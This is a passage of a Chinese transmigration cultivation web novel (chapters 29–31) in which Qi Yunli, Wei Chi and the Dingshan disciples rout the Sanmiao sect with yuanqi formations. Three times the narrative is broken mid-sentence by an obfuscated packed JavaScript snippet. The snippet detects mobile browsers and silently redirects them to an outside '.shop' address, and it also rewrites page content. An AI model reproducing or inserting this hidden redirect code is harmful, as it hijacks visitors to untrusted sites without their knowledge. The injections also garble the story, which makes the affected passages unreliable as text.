“修道修到这个程度,下辈子当虫都勉强!” 八哥气势汹汹叫了一阵子,陆顷己一直在劝,但始终没劝住。 齐云鲤听完骂声就说:“说得对,我已经把他们打了一顿。” “……青湖师叔你去打架了?”陆顷己有点担忧。 八哥则哈哈大笑:“那是他们应得的!” “他们没有伤口,但是暂时躺地上起不来。”齐云鲤说明情况。 “哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040132|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈哈哈哈,那我也可以去!”八哥径直飞往山林那边。 不远处的大黄狗见状也冲过去。 陆顷己则一言难尽地看过来。 “他们没看到我的长相,没听到我的声音,身上也没有伤势,所以不会有麻烦。”齐云鲤知道他在担心什么。 陆顷己这才松口气,小声说:“止水宗才是重点,别去招惹三渺宗。” “止水宗这次不会过来。”卫池走过来说,他明显经过调查。 齐云鲤顺势说:“都没事,不用那么紧张。” 陆顷己见他们师徒两个彼此配合,也就不好太过纠结,只能走到不远处帮村民简单治疗。 “你打架了?”卫池看到那个青湖衣服上有点碎屑。 “谈不上,”齐云鲤叹了口气,“三渺宗出现一个叫铭祖的人,听说过吗?” “未曾听闻,三渺宗以前不会在这种地方出没。”卫池略微一叹。 前所未有又影响很大,看来那个铭祖不简单。 不简单的穿书者目前只有面具人。 说不定二者有什么关联。 “三渺宗的变动跟这个人有关,而他八成跟面具人有关。”齐云鲤回想起之前的对话,又说,“三渺宗很看中这个人。” 三渺宗自视甚高,能让他们看中,说明那个穿书者不可小觑。 之前那两个女子的对话又表明最开始三渺宗并不重视此人。 不过如今还有人出言维护,可见那个人下过苦功夫。 基本只有目标明确才能做到这一步。 ——铭祖的目标又是什么? 她很困惑,而卫池趁机说:“铭祖就是面具人。” 话里透出一丝凌厉,仿佛铭祖就在眼前。 齐云鲤目瞪口呆,一时都反应不过来。 ——他有什么证据? 不过卫池轮回这么多次,估计将四方都跑遍。 他可不是会停在原地一动不动的人。 管他有什么证据,反正不是胡说。 如果真是这样,面具人在三渺宗折腾一大堆,又跑来鼎山折腾一大堆,他是想干什么? 这一连串的事怎么也算深谋远虑、深思熟虑、老谋深算。 看个小说没必要投入到这个地步吧? ——还是说他就是作者? 齐云鲤突然想起石月观音的话,她觉得最可疑的就是作者。之前感觉她在胡说八道,但眼下貌似真有这种可能。 小说在连载期间虽然很火,但问题也不少。 读者说那都是伏笔,结果最后鼎山直接灭门,所谓的伏笔都是漏洞。 断更以后,很多读者在琢磨填坑思路,如果作者也在琢磨呢? 他让这片天地产生那么大的变化,就是想把故事写完。 不过齐云鲤感觉自己把作者想得太好,正如之前对三渺宗那样。 三渺宗都那样,铭祖又会好到哪里去,面具人又会好到哪里去。 ——作者又会好到哪里去? 而且如果作者病到这个地步,还能写出那本小说吗? 小说漏洞太多,齐云鲤不禁怀疑起来。 想了一下,她感觉又要头疼,就走到陆顷己那边看小孩打架,还时不时点评两句。 结果在她点评下,竟逐渐变成打群架,鼎山弟子又过去劝架拉架。 原本还算和睦友善的局面变得混乱不堪、嘈杂纷乱。 齐云鲤在空中一挑,抓出一根细细的丝线。在她捻动下逐渐变大,过了一会儿又恢复丝线粗细。 ——跟秘境的黑线是一回事。 卫池伸手扯下空中一张大网,然后撕碎。 ——这明显就是面具人的手段。 齐云鲤看着那张被撕碎的大网,有点头晕:“看来这边有什么必须到手的理由,或许跟之前发现的火灾一致。” 卫池沉声道:“他在鼎山和三渺宗的操作,目的必然一致。” “会不会是他放的火?”齐云鲤皱眉问。 如果真是这样,也算有始有终不干人事。 “不排除。”卫池说。 齐云鲤有点头痛,只好问:“三渺宗什么时候出现这种变化的,以前有吗?” “这种变化很早以前就有,本来三渺宗根本不会这么做。” 齐云鲤又问:“面具人是什么时候出现的?” “也是很早以前。” “跟三渺宗的变化是一个时期?” 卫池点点头,不再说话,似乎是在想什么问题。 齐云鲤感觉黑线不可能只出现在钟灵村,万仞山上估计更多。 一想到前路危机四伏,她只好找个地方吃东西平静一下。 等村民陆续离去,李宜敏才说刚才那个村民是被三渺宗用附身的方法操纵。附身本是一件大事,却被三渺宗用在这种地方。 她说得相当嫌弃,齐云鲤只好说自己已经打过三渺宗。 不过话音刚落,李宜敏又嫌弃起来。 29. 打架教学 此时天朗气清,李宜敏又说起疗伤一事。 在鼎山可以使用修为疗伤,但下山后千万不要这么做。在山下随时可能被偷袭,一旦用修为疗伤就可能功法不济,挡不住偷袭。 鼎山对邪魔歪道从不手软,因此后果只会相当凄惨。 她话音沉重,仿佛亲眼见过那种凄惨之景。 齐云鲤感觉鼎山人人都历经腥风血雨,只好出声安慰。 “所谓龙息和元气类似一阴一阳,龙息能为真龙所用,或许元气能为凡人所用。功法不济时使用元气,也许是个办法。” 这话虚无缥缈,即使之前有鼎山弟子用元气布阵。 虽然阳光照在李宜敏身上,不过她还是脸色阴沉。 她刚想发火,就听到宋安合在不远处说:“此地充满龙息对你们来说是负担,即使已经适应但还是有诸多不便。龙息和元气就类似一阴一阳,有龙息的地方就有元气,龙息会压迫你们,而元气不会。” “不如试着用元气来抵御龙息压迫?”最后出现这么一句话。 李宜敏差点直接气死,有这么糊弄人的吗?! 其他鼎山弟子也跟着说起元气一事,齐云鲤见李宜敏都快气炸,赶紧说:“三渺宗用人练习附身之术看起来背后有人指导,之前他们说起铭祖这个人,说不定就是他所为。” 明确的敌人迅速转移李宜敏注意力,她便顺势说:“之前的鼎山弟子被附身之后与那个村民有天壤之别,若是那边指导这边也不是没有可能。” “出现在鼎山的那个人不知道元气,”齐云鲤点出关键,“但他很擅长运用龙息,如果运用龙息与他对抗恐怕不是对手。” 意思就是龙息那条路不行,或许元气这条路可以。 二者一阴一阳,那么就不会有明显区别。 龙息可以做到的事,按理来说元气也可以。 又说到元气这个东西,李宜敏不禁转头一看。 那边的鼎山弟子越说越夸张,都快把元气说成旷世珍宝。 “这是目前能找到的唯一通路,虽然我们不熟,但敌方也不熟,”齐云鲤又强调,“说不定成败在此一举。” ——用龙息的确难以战胜对手。 李宜敏无话可说,只能转身走远,以免继续听到乱七八糟的东西。 那边的鼎山弟子做出示范,看起来元气真能抵御龙息压迫,村民兴高采烈,一个个都学起来。 村民认认真真学习修道之术,孙仲礼面色却不太好,因为这里发生的一切在小说里根本没有提到。 先是三渺宗出场止水宗没出场,然后鼎山弟子开始教村□□用元气,感觉跟小说都没有关系。 ——这里真是小说吗? 不久之后众人踏上前往万仞山的路,孙仲礼就问出这句话。 此时日头正高,但他脸色相当差。 齐云鲤知道他在怀疑什么,不过还是问:“有什么不对劲?” “三渺宗怎么会变成这个样子?”孙仲礼满脸困惑。 小说里的三渺宗虽然跟男主打来打去,但对普通人没这么冷漠无情。他们只是高高在上、远离世人,并不会明晃晃的不屑。 齐云鲤委婉回答:“只可能是有人干了什么。” “什么人会干那种事?”孙仲礼想不通。 齐云鲤透露出一点信息:“或许穿书者不止我们两个。” 所谓一样米养百样人,其实看书也是如此。 其他人有什么读后感,谁也说不清。 有人规矩就有人乱来。 孙仲礼很疑惑:“听说小说读者吵来吵去,难道他们还到这边?” “如果他们过来,那就不止是吵了。”齐云鲤依然很委婉。 虽然什么也没说,但也算拓宽思路。 从穿书开始一切都很奇怪,虽然大方向一致,但很多细节都彻底改变。 那些读者吵来吵去,说不定会将吵架内容变成现实。 孙仲礼是这么想的,感觉那些人真是精力旺盛。 他仿佛憋了一口气,于是开始说起来:“目前看起来三渺宗变得嚣张跋扈,小说里明明远离世人,虽然会跟男主发生冲突,但不会掺和老百姓那边。” 孙仲礼说到这里就低头长叹,不再说话。 齐云鲤见状只好说:“此地跟小说有很大差异。” 孙仲礼还是没说话,她便继续说:“一开始我都没发现是穿书,只是感觉似曾相识,有点眼熟。” 既是陌生环境,又有点熟悉。 穿书者大多都有类似经历,因此孙仲礼不禁点头。 “最开始我四肢无力躺在床上,还以为被拐卖,很久以后才发现那里居然是鼎山,”他有点无可奈何,“没想到看小说还会出这种事。” “这种事谁也想不到啊……” 即使知道有穿书这种事,但谁能想到会亲自经历。 而且穿书故事经常有逆风翻盘桥段,但在这里除了被坑就是被打。 还被指派任务,如果没有完成就不会好下场。 ——感觉自己就像是诈骗案受害者。 受害者孙仲礼叹了口气:“我之所以会看这本小说,是因为我在学校被孤立很久。后来有人建议我看这本热门小说,说是能找到共同话题。” 听到这里,齐云鲤只能确定他果然是被坑。 正常人谁会推荐看《长夜道枯》去找共同话题? 当然她也不能直接说破此事,只是问:“怎么会发生这种事?” “因为我跟别人不一样,就被孤立排挤,”孙仲礼想了想才说,“最开始是有个风云人物说笑话,其他人都觉得好笑可我没笑,就开始被孤立。” 这是很简单的理由,你不给他面子,他就让你没面子。 在乎面子的人通常都很废物,不过小学生还不明白这种事。 齐云鲤只能赶紧分析:“说明那个人看起来风光无限,其实需要他人支持。一旦有人没及时满足要求,他就觉得自己一败涂地。” “他那么厉害还在意这些?”孙仲礼十分好奇。 齐云鲤借比喻来说明:“就是包装漂亮,其实里面空无一物。一旦有人戳破包装袋,他就会原形必露。” 如今很多商品都包装精美,让人眼花缭乱。 不过打开包装一看,也许里面只有些类似废品的东西。 像废品的就是那个风光无限之人。 “难道他不厉害?”孙仲礼大惑不解。 齐云鲤指出:“如果那个人穿书可能早就自杀,因为没有人附和他,他又什么也不懂。即使鼎山弟子帮忙,他也不再被众人捧在掌心,落差太大。” “看起来我比他厉害?”孙仲礼把他们对比一下。 “那当然啊,你最开始即使一无所知,也能不断摸索不断学习,”齐云鲤仿佛是个苦口婆心的老师,“众星捧月的月一旦没有周围的星,那么月亮也没什么稀奇。毕竟浩瀚宇宙有无数星球,比月亮夺目的不计其数。” 明月之所以在夜空突出,是因为这一带没有比它更近的发光星球。 何况那个光还不是它的,它只是反射太阳光。 “看起来很厉害,只是周围的人配合他演戏?”孙仲礼有感而发。 “真正厉害的即使在暗无天日的深渊也能发光,”齐云鲤见他听进去就赶紧说,“如果没有众星捧月就无法光彩夺目,那就只是包装袋。” 三言两句就将孙仲礼以为的风云人物贬到谷底,而且似乎还颇有道理。 他以前没听过这种话,一时不敢确认。 只是问:“那你一开始过来是什么情况?” “我被人打了,然后又被打……”齐云鲤说到一半就感觉不对劲,听起来之前像是为了吹嘘自己而说的话。 说到底不就是自己即使被打也很厉害? “不是,其实……”她刚想反驳。 “打你的是后来化形为蛟的那个人?”孙仲礼十分好奇。 齐云鲤一叹:“是那个人,他一直在鼎山挑事,打来打去的。” “哇,那你好厉害!”孙仲礼诚心夸赞,“要是我肯定早就被打死。” 没被怀疑反而被夸,对齐云鲤来说也不是什么好事。 被人夸奖未必是好事,何况夸人的还没被说服。 ——要是沾沾自喜只会坏事。 “其实我已经大学毕业,这种事都遇见很多次……”她只能赶紧强调。 孙仲礼十分迷惑:“大学有这么恐怖吗?” “恐怖的不是大学,是人……”齐云鲤也不知道自己在感叹什么。 ——仿佛曾经被人害得很惨。 她觉得不能回忆其中细节,只好赶紧转移话题:“看来你异于常人,那么你在鼎山看到龙息是什么想法?” “龙息很危险。”孙仲礼说。 齐云鲤便说:“我觉得龙息虽然危险,但也是不可多得的宝藏。” “啊,还有这种事?”孙仲礼十分疑惑。 “鼎山弟子基本跟你想得一样,只有我会这么想,但鼎山不会有人排挤我,”齐云鲤又说,“不需要跟其他人始终一致,如果因为不一样就被欺负,不是你的问题。而是那些人本来就想干这种事,只是找个借口。” “这是他们的问题,不是你的问题。”她重点强调。 孙仲礼原本是想检讨过错,结果齐云鲤把另一边的皮都剥了。 从没有人说过这种话,如今一说就帮他打开思路。 之前一系列问题他都习惯性责怪自己,但怪来怪去都没能解决问题。 眼下发现其他人也有问题,瞬间就豁然开朗。 他想了一下就跟那个之前被附身的鼎山弟子说话去。 比起看小说来找共同话题,现在他们两个就有些稀奇古怪的共同话题。 孙仲礼离开后,齐云鲤就发现路上静悄悄的,也没有其他生物活动的迹象,仿佛都在畏惧万仞山龙息,不敢太过靠近。 寂静无声的环境通常让人害怕,不过齐云鲤已经无所谓,又不是突然冒出什么。 就在这时,卫池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17045807|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走过来说:“三渺宗拿村民练习附身之术,必定还有后手。” 虽然他相貌端正、身形挺拔,但这话实在煞风景。 即使没有突然冒出什么妖魔鬼怪,但这句话基本如出一辙。 但此事关系重大,齐云鲤也不好有意见。 她只能说:“除了小心提防,也不能干什么……” 总不至于还要先把三渺宗人抓起来吧?自己都已经打过一次。 “既然那边会挑事,不如你先让他们无所适从。”卫池说出关键。 齐云鲤完全听不懂:“……啊?” 这话听起来就不像是要她去干好事,莫非还要刻意制造骚乱? “……这样不好吧?” “我跟三渺宗交手很多次,对他们比较了解。”卫池信心满满。 他郑重说出计划:“那边很仰仗龙息,万仞山这一带的环境明显有利于他们。不过有龙息就有元气,他们无法分辨肯定以为没区别。让他们以为元气就是龙息,顺势打乱他们储存的龙息。” 这话听起来就有点诡异,齐云鲤只能问:“然后呢?” “三渺宗还是将元气当龙息使用,不过鼎山弟子同样有元气,而且知道如何正确应用,因此就能打他们一顿。”卫池说出答案。 其实就是鼎山弟子用元气把三渺宗打一顿,而且三渺宗束手无策。 ——说起来也算是观察鼎山弟子能否有化龙的势。 如果被鼎山弟子打一顿,三渺宗肯定就不会呆在万仞山。 但齐云鲤也无法分辨元气和龙息,只能问:“要怎么分?” 之前鼎山弟子在村里说的话,她还觉得挺有道理。 结果事到临头才发现根本找不出道理。 “有压迫的是龙息,没压迫的是元气。”卫池说得很简单。 齐云鲤问:“没有压迫不就一无所有?” “只是肉眼看不见。” 这话有点听不懂,不过无法理解的话卫池又不是没说过。 因此她只好问:“你有经验?” “难道你有经验?”卫池反问。 齐云鲤赶紧摇头,迅速同意他的话。 “让鼎山弟子跟三渺宗打一架,还要打赢?” 卫池点点头:“你在背后稳住局面。” “如果事出突然,我是不是要赶快偷袭?”齐云鲤越问越奇怪。 卫池摇头:“稳住局面就行。” “……不用偷袭?” 卫池眉头紧锁:“难道他们还打不过?” 齐云鲤赶紧摇头,既然他在这边,那自己还担心什么。 ——她要做的只有布局。 离开之前,她走到孙仲礼旁边跟他说:“你可以把耀武扬威那个人打一顿。” 孙仲礼完全不知道什么意思,不过卫池开始细说元气,他就认真听起来。 听到最后他感觉有龙息的地方就有元气,只是元气不容易被人察觉。 众人都是类似想法,看起来没有其实有。 他们原本还有些云里雾里,但三渺宗转眼就出现在前面岔路口。 也不知道那些人干什么,突然就气焰嚣张冲过来要打人。 卫池只是说:“其实这里就有元气。” 刚才说的话瞬间就能派上用场。 之前鼎山弟子用元气布阵,协助卫池击败那条蛟,这可是人尽皆知的事。 众人感觉机会来了,马上调动元气布阵。 宋安合虽然有点莫名其妙,但也没意见。 李宜敏和陆顷己虽然负责医疗,但也掌握剑法打斗,于是也参与其中。 吴明之前是被打对象,眼下变成他打别人,顿时精神百倍。 孙仲礼感觉齐云鲤说得没错,之前那个风光无限的人没什么好怕的。 万仞山龙息压迫感过于明显,因此无法运用,不过还存在着大量元气。 鼎山弟子在宋安合指导下施法布阵,居然真的有效。 之前铺设剑阵成功,他们都以为是鼎山别有洞天。 没想到在万仞山也能用元气铺设阵法。 其实之前谁都没彻底明白卫池的意思。 但眼下如此明显,就算瞎了也能发现不同寻常之处。 他们以元气布阵胜过三渺宗操纵龙息。 双方几乎有天壤之别,毕竟万仞山元气远超三渺宗龙息。 在此情境下他们越战越勇,几乎势不可挡,一时犹如真龙在云海翻腾。 没有半点龙形,但势头就是那么回事。 这就是化龙之势。 ——齐云鲤总算发现自己没亏。 鼎山弟子齐心协力,又有卫池在前方引导,她在不远处调整布局,所以将三渺宗打得落花流水。 三渺宗人没想到他们有那么多龙息,居然还被几个鼎山弟子教训,顿时备受打击,打完马上就跑。 齐云鲤望见他们落荒而逃的背影,本来还有点高兴。 但想到还有一堆麻烦,瞬间就感觉这只能算是安慰。 30. 化龙之基 在龙息压迫明显的万仞山,鼎山弟子以元气布阵,胜过操纵龙息的三渺宗,将他们打得毫无还手之力。 三渺宗那边明显是地位比较高的人,而鼎山弟子基本都平平无奇。三渺宗人破天荒来到万仞山,必定做好充分准备,结果最后落荒而逃。 这是谁也想不到的。 因此打完三渺宗人,鼎山弟子都很兴奋。 虽然齐云鲤知道还有更大的问题,不过没必要在此时扫兴。而且他们能用元气布阵攻击三渺宗,也就是说具备一点化龙之势。 ——鼎山弟子能化龙当然最好。 李宜敏和陆顷己在那边检查鼎山弟子的受伤情况,宋安合跟卫池讨论用元气布阵的事。齐云鲤站在路边想问题,孙仲礼就走过来。 他并没有明显兴奋,但看起来有点高兴。 “之前你说我可以把那个人打一顿,原本我还想不通。但刚才我们用元气施法布阵,明显压过三渺宗,”孙仲礼高兴起来,“就是不用按照他们的方法来解决问题。” 这种说法倒是有点出人意料,齐云鲤还以为他会高兴成功击退三渺宗。 “之前鼎山一直在想办法用龙息来对付止水宗,但始终不能彻底铲除,毕竟他们也擅长使用龙息,”孙仲礼总结,“但这边既有龙息也有元气,刚才我们用元气就能压过三渺宗,让他们落荒而逃。” “如果还是用龙息,恐怕效果没这么好。”他似乎恍然大悟。 齐云鲤不知道他悟出什么,不过用这种思路来答题,似乎很有用。 做选择题时,学生基本只会着眼于单个题目。 但要是将所有选择题看成整体来考虑出题老师的意图,可能比瞎蒙更靠谱。 与其从单个题目来猜答案,不如通过整体来看出题意向。 虽然不能确定,不过大概就是这么回事。 通过题目类型来辨别也有用,乍看答案只有一个,如果是多选题,就不止一个答案。 如果只选择一个,就算再正确,那个题目的回答也错误。 正如之前以为只有龙息这个答案,但实际还有元气那个答案。 要考的不是如何运用龙息,而是怎么调动天地之气。 天地之气是多选题,不是单选题。 “如果依然只运用龙息,就像是在抄作业……”齐云鲤低声感慨,三渺宗用龙息,如果鼎山也用龙息,仿佛是在抄三渺宗作业。 “其实《长夜道枯》那个小说也有点像是在抄作业,”孙仲礼说出一直以来的困惑,“小说里似乎有两套体系,互不相容,感觉出自两个人。仿佛是抄作业的时候前面自己做了一些,后面又是别人的答案。” 齐云鲤感觉他深有体会:“这是你抄作业的心得?” “是别人抄我的,他自己写一半抄一半。”孙仲礼摇摇头。 齐云鲤很疑惑:“对比这么明显,老师难道没看出来?” “老师只要求他按时交作业。”孙仲礼低下头。 有这种要求的人基本只要别公开捣蛋就行,抄作业实在无关紧要。 不允许他抄作业,他能闹得班上谁都做不了作业。 班上有这种同学只能自认倒霉。 不过比起让孙仲礼看《长夜道枯》的,抄作业实在小儿科。 齐云鲤从自己以前的想法,联系到刚才孙仲礼的话,感觉他也发现小说漏洞。 自己虽然也发现,不过还是再确认一下比较好。 “丹青宝卷和鼎山截然不同,一个充满元气一个龙息鼎盛,施法布阵的效果也完全不一样。”她说出对比。 “我还没看到丹青宝卷出场……”孙仲礼有些遗憾地叹气。 齐云鲤强调:“丹青宝卷就没出场过。” “完全没有?”孙仲礼十分不可思议,毕竟那里看起来都深不可测。 齐云鲤摇头否认:“从始至终都没出现。” “小说里不存在,这边却有……”孙仲礼又问,“这里真是那本小说吗?” 虽然说是穿书,可这边跟小说区别太大,大到他都不敢相信。 他又怀疑起来,齐云鲤只好保证这个地方就是小说。 小说有很多漏洞,只是之前被剧情掩盖,现在就暴露无疑。 孙仲礼有点犹豫:“丹青宝卷感觉跟其他地方不是一回事。” “完全不一样?”齐云鲤有些惊讶,这个问题就大了。 这已经不是融洽与否的问题,而是两个完全不同的世界连接在一起。 这都不是抄作业的事,而是语文和数学压根就不是一回事。 就像天地靠得再近,大家也知道二者截然不同。 再厉害的鸟都不可能贴地飞行。 “完全不一样,可是丹青宝卷在鼎山并不突兀,即使截然不同,也没有格格不入,”孙仲礼显然很高兴,“丹青宝卷没有照鼎山的规矩来也没事。” 然后得出结论:“之前我以为一定要照规矩办事,可那些规矩实在难以适应。现在我发现只要跟规矩方向一致,不会造成破坏就可以。” 他始终都在围绕“规矩”二字。 但是如果只停留在这个层面,感觉没必要高兴成那样。 高兴成这样,应该另有原因。 “规矩不是规律,只是人为制定的规则,”齐云鲤只好顺着他的思路梳理,“守规矩的本质是为了顺应规律,其实就是要顺天道而行?” “对的,就是这么回事!”孙仲礼似乎醍醐灌顶,“规矩是为了帮我们顺应规律,如果规矩没有帮助,那还不如直接顺天道而行。” 如此一来就不是“规矩”的事。 之前大家都遵守那个规矩,不是因为规矩至高无上,而是因为那个规矩最顺应规律。只要照规矩办事,就能顺应规律,不会有违天道。 规矩只是人总结出来的东西,并非客观规律。 “龙息只是这边的规矩,但并不是规律。”听到这里齐云鲤若有所思。 如果说龙息和元气是这片天地的规律,那么二者兼而有之才完整。就像之前说的城墙内外,内城墙和外城墙只是城墙的一部分,并不是整堵墙。 只有一面并不完整,唯有整堵墙才能挡住外来攻击。 说起来就是化龙之人没有踪影,是因为城墙还不完整,只有龙息还不够? ——小孩的思维太过跳跃,她都有点晕。 齐云鲤想来想去也没找对方向,只能说:“其实你能做到更多,不用信之前那些胡说八道。” 孙仲礼得到肯定就十分高兴,他点点头就去找吴明说话。 虽然他心头忧虑已经解除,但齐云鲤完全没想通是怎么回事,越想越不对劲,仿佛只剩下死路。 这时卫池走过来问:“他去找那个鼎山弟子是你授意?” 这个问题明显没好事,但齐云鲤却趁机发现出路。 而且有鼎山弟子在,卫池就不会动手,于是她编出一件事。 “鼎山弟子用元气布阵,将三渺宗打得落花流水,他有点不敢相信。” 虽然孙仲礼没有这样表态,但事实就是如此。 “这跟他过去有什么关系?”卫池依然在纠结这件事。 齐云鲤说:“他们两个都没明白,而且之前那个人被附身,因此更加困惑。” 她的意思是要卫池解惑,但他不屑一顾。 “会困惑的事不计其数,又不止这一件,迟早得适应。” 感觉卫池很擅长答疑解惑,谁知现在他不说。 ——刚才自己还颇为期待。 齐云鲤不免有些气:“你就是自己不知道,还要说别人都不知道。” “这有什么不知道的?”卫池依然不屑一顾。 “其实你也不知道,所以过来问我,还要以他们两个的名义。” 这句话完全不对,但卫池却有点气。 “用元气打三渺宗的方法是我说的,我怎么可能不知道?” 见他已经上钩,齐云鲤就说:“你只知道元气,并不知道背后的东西,他们就是想不通那些事。” “背后还能有什么,你别胡说八道。” 卫池仿佛无可奉告。 可如果齐云鲤知道有什么秘密就不会说这些话。 “我也不清楚,不如你传授一下?” 之前问这种问题卫池绝不会回答,但现在看在孙仲礼的面子上他只能说。 “龙息和元气一阴一阳,那就同时存在,”他怀疑地看过来,不过还是开口,“只要有龙息就会有元气,鼎山龙息鼎盛,因此会有丹青宝卷。万仞山充满龙息,所以会有很多元气。” “也就是说无论如何,元气都存在?”齐云鲤总算听懂一些。 卫池说:“世人只知龙息不知元气,并非元气不存在。” “只要有龙息,就会有元气?”齐云鲤继续问。 “但世人只知道龙息。” 只知道一条路并不是只有一条路,只知道可以走路并不是不能坐船。 把这条路堵上,其实还有那条路可以走,还有船可以坐。 走路只是途径,到达目的地才是关键。 ——抵达终点才是最终目的。 之前止水宗垄断龙息,三渺宗将龙息视为高不可攀的珍宝,就显得龙息无比重要。 但真正关键的不是龙息,而是龙息可以通往的地方。 世间其他事物似乎都无能为力,所以显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050592|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得龙息格外重要。 因此重点不是龙息,而是龙息能达到的目标。 龙息能达到的目标,元气也可以。 龙息只是跑道不是终点,之前都把龙息当成终点。 内城墙和外城墙只是城墙的两面,而不是城墙存在的意义。 城墙是为了挡住外部骚扰动乱,这才是关键。 如果人力就能挡住,那么城墙也无关紧要。 这么看来就是化龙不止需要龙息,还需要元气。 城墙有内外两面,其实万事万物都有两面。 如果只有一面,再厉害也无济于事。 毕竟真龙是终点,不是跑道。 “我看你就是自己不知道,还拿他们当借口。”卫池见她不出声就这么说。 原本被点破真相是比较窘迫的事。 谁知齐云鲤完全无所谓:“都说我不清楚了。” 她似乎还顺理成章。 卫池继续说:“你还以他们为借口来问我。” “他们本来也不知道。”齐云鲤还是无所谓。 ——结果她被点破也完全不在乎。 卫池气得都不想看见这个人,直接绕到孙仲礼那边去。 原本孙仲礼和吴明还有点搞不清楚,虽然齐云鲤已经说通一些,但没有彻底打通他们的思路。感觉像是有人透漏答案,但整套标准答案还没出来。 此时卫池的到来仿佛就是阅卷结束,全套答案也已经出来。 两个考生一心只想知道答案,成绩完全不在乎。 “之前调动元气布阵打败三渺宗,你们也不用迷惑,”卫池直接开口,“想化龙的人那么多,可至今没人成功。说明世人知道的只是小部分,还有更多不知道的。” “今天就是不知道的事!”孙仲礼有些激动。 卫池点点头:“习以为常的东西发生变化,应对措施也要随之调整。” “习惯那样,但实际这样也可以?”吴明问。 “那样和这样都是世人总结出来的解决之道,并非天地本来面目,”卫池对比分析,“如今我们只是又发现一个办法,并不是天地彻底改变。” 这么一说,孙仲礼身上的负担就消失不见。 之前他还担心做了什么不该做的事,导致一些难以挽回的后果。 不常见的事未必不该出现,常见的事虽然有用,但也不是随时随地都有用。 “其实世人通常只知其一,不知其二,”卫池最后说,“但往往有一就有二。” 孙仲礼顿时茅塞顿开,守规矩往往只是遵照他人指示办事,并不是顺应规律。 规律固定不变,但个人总结不可能只有一没有二。 用元气布阵就是“二”,班上的风云人物只是“一”。 他获得莫大帮助,就觉得自己也要出力,所以说:“这次止水宗没有出现,菩提慧海会不会出来?” 菩提慧海是小说里的重要反面角色,虽然他什么也没做,但世人将他传得极其恐怖,都可以用来止小儿夜啼。 菩提慧海如果出现在万仞山,绝对是大事。 止水宗之前没现身,可能是因为有这个大人物亲自过来。 孙仲礼还没看到鼎山灭门,不过已经知晓菩提慧海的威名。 “不排除这个可能,还是做好准备吧。”卫池没有否认。 孙仲礼虽然再也说不出什么,不过觉得自己发挥了作用,因此也高兴起来。 之前以为穿书全是坏事,没想到还有意外收获。 鼎山弟子沿山路往前走,走到一个路口就看见前面有两尊雕像,香火鼎盛。 雕像是石头所制,不过模样跟丹青宝卷里那两个女子一模一样。 齐云鲤想起卫池的话就过去看了看。 幽冥大帝和云玑子跟之前毫无二致,即使雕像材质不同,但做工和造型如出一辙,可见制作雕像的人下了一番功夫。 云玑子衣服上有鲤鱼在云中嬉戏的图案,恰好跟齐云鲤的名字相吻合。 幽冥大帝认识她,莫非这是暗示? 如果暗示到这个地步,关系一定特别好。 想到这里,齐云鲤就去问幽冥大帝的事。 被问的当然是卫池,不过鉴于之前的经验,他十分警惕。 因此只是简单说明世人眼中的那两尊雕像。 云玑子和幽冥大帝两个人,一个象征生,一个掌管死。 云玑子的雕像没什么特殊,不过她跟幽冥大帝一生一死就有点微妙。 齐云鲤想到石月观音说自己命悬一线,就十分疑惑。 这是看起来已经半截入土,但是没死透。 ——之前究竟发生了什么? 31. 合谋 齐云鲤仔细思考,她是鼎山中人,在莲花座上的签名看起来最陈旧。 幽冥大帝认识自己,而且很多做法自己都想过。 卫池听到自己的名字就生气,石月观音说自己怎么还没想起来。 蒙眼女子还说自己认识面具人。 ——未解之谜也太多。 说完话齐云鲤就沉思一路,以至于卫池怀疑她是不是又出问题。 鼎山弟子走完万仞山下的低矮地区终于开始登山,山路崎岖,一不留神就可能滑倒。原本修道人士身手灵活,但万仞山龙息压迫明显,身手再灵活也没有。 孙仲礼小心翼翼也滑倒好几次,齐云鲤跟在最后默不作声却无事发生。 其他人见青湖师叔苦思冥想不敢打搅。 卫池却忍无可忍,总觉得会怪到他头上,于是就走过去说:“此地不同别处,龙息相当密集,若是掉以轻心可能会被龙息吞噬。” 这个说法相当离谱。 “啊,还有这种事?”不过齐云鲤顿时就被吓得回过神来。 卫池顺势提醒:“面具人也势必会在万仞山出现。” 在场所有人都跟他有仇,面具人绝对不会放过。 “万仞山龙息鼎盛,对面具人来说不就是座金矿?”齐云鲤不免担心起来。 卫池说:“如何运用万仞山龙息是一个关键。” 齐云鲤想了想,脑子终于清醒:“万仞山的龙息不是不能用吗?” “按照常理来说的确如此。”卫池见她回过神来,眉头松了松。 齐云鲤问:“面具人不按常理?” 这话有点天真,却又似乎理所当然。 “你觉得他遵守常理?”卫池反问。 齐云鲤十分疑惑:“要怎么让他遵守常理?” “你也可以不遵守常理。”卫池点出关键。 